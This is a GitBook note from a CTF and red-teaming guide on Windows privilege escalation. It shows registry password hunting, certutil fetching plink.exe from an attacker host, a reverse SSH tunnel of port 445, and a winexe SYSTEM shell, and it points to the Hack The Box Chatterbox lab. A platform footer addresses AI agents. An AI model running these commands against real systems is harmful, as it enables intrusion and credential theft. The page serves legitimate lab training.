> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/privilege-escalation/windows-privilege-escalation/passwords-and-port-forwarding.md).

# Passwords and Port Forwarding

## Enumeration

Hunt for passwords in registry:

```bash
reg query HKLM /f password /t REG_SZ /s
```

Look for internal open ports:

```bash
netstat -ano
```

If we find a credential and internal open ports

## Exploitation

On your attack machine, edit `/etc/ssh/sshd_config`:

![/etc/ssh/sshd\_config](/files/-MhQokgoW--OfqFMT251)

Restart SSH service:

```bash
service ssh restart
```

Download `plink.exe` to your attack machine:

{% embed url="<https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html>" %}
plink.exe
{% endembed %}

Transfer `plink.exe` to the victim machine:

```bash
certutil -urlcache -f http://<local_ip>/plink.exe plink.exe
```

On the victim machine, do **port forwarding** (suppose we want to forward port 445):

```bash
plink.exe -l root -pw <your_kali_password> -R 445:127.0.0.1:445 <local_ip>
```

Press "Enter" a few times to get the output. Use `winexe` to spawn a SYSTEM shell:

```bash
winexe -U Administrator%<password> //127.0.0.1 "cmd.exe"
```

## Lab: Hack The Box - Chatterbox

{% embed url="<https://www.ctfwriteup.com/tcm-academy/tcm-windows-privilege-escalation-course/hack-the-box-chatterbox-medium>" %}
Hack The Box - Chatterbox
{% endembed %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ret2basic.gitbook.io/ctfnote/red-teaming/privilege-escalation/windows-privilege-escalation/passwords-and-port-forwarding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
